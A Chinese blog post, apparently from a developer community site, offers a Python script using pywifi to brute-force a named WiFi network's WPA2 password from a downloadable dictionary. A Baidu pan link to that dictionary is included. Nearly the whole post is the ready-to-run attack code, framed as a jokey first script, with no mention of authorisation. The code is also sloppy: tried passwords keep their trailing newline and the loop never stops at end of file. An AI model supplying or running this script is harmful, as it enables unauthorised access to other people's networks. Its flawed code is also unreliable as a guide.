0
点赞
收藏
分享

微信扫一扫

使用Python笨方法破解WIFI密码

八怪不姓丑 2022-04-26 阅读 184
python

第一次写脚本,欢迎大佬指点!!!

使用pywifi模块能不能破解成功全靠一张脸;

毕竟人帅自有天帮【doge】;

跑字典中有报错,但不影响运行,don't worry;

话不多说;

密码本链接:https://pan.baidu.com/s/1kAdfTsCvlqweocuq3fbfGw 
提取码:2f9q

代码如下:

# 注意事项 : 1. 运行前需要pip下载 comtypes pywifi  这两个包;
#           2. 再把 第一,第二行代码的《密码本路径》和《wifi名字》补充好就可以运行了;
#           3. e m m m m ,这一条还没想好


# 请在此输入密码本路径 双引号里
# 例:  ”C:\xxx\xxx.txt“
path = ""       

# 请在此输入你想要加入的WIFI名字 单引号里
wifi_NAme = ''  



import comtypes
import pywifi
from pywifi import const
import  time

def WIFI_CONNECT(wifiName,pd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]

    # 断开连接
    ifaces.disconnect()
    time.sleep(1)

    # 判断WiFi连接状态
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiName   #  WiFi 名字
        profile.key = pd    #  wifi 密码

        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP

        # 删除WiFi
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        temp_profile = ifaces.add_network_profile(profile)

        #连接wifi
        ifaces.connect(temp_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readStart():
    print("开始破解了,祝你好运!")
    path1 =path  # 密码本路径 do not move
    file = open(path1,"r")
    while True:
        passWord = file.readline()
        result =WIFI_CONNECT(wifi_NAme,passWord)
        if result:
            print("破解成功啦!!密码是:"+passWord)
            break
        else:
            print("密码错误,让我们再来一次!"+passWord)


readStart()
举报

相关推荐

0 条评论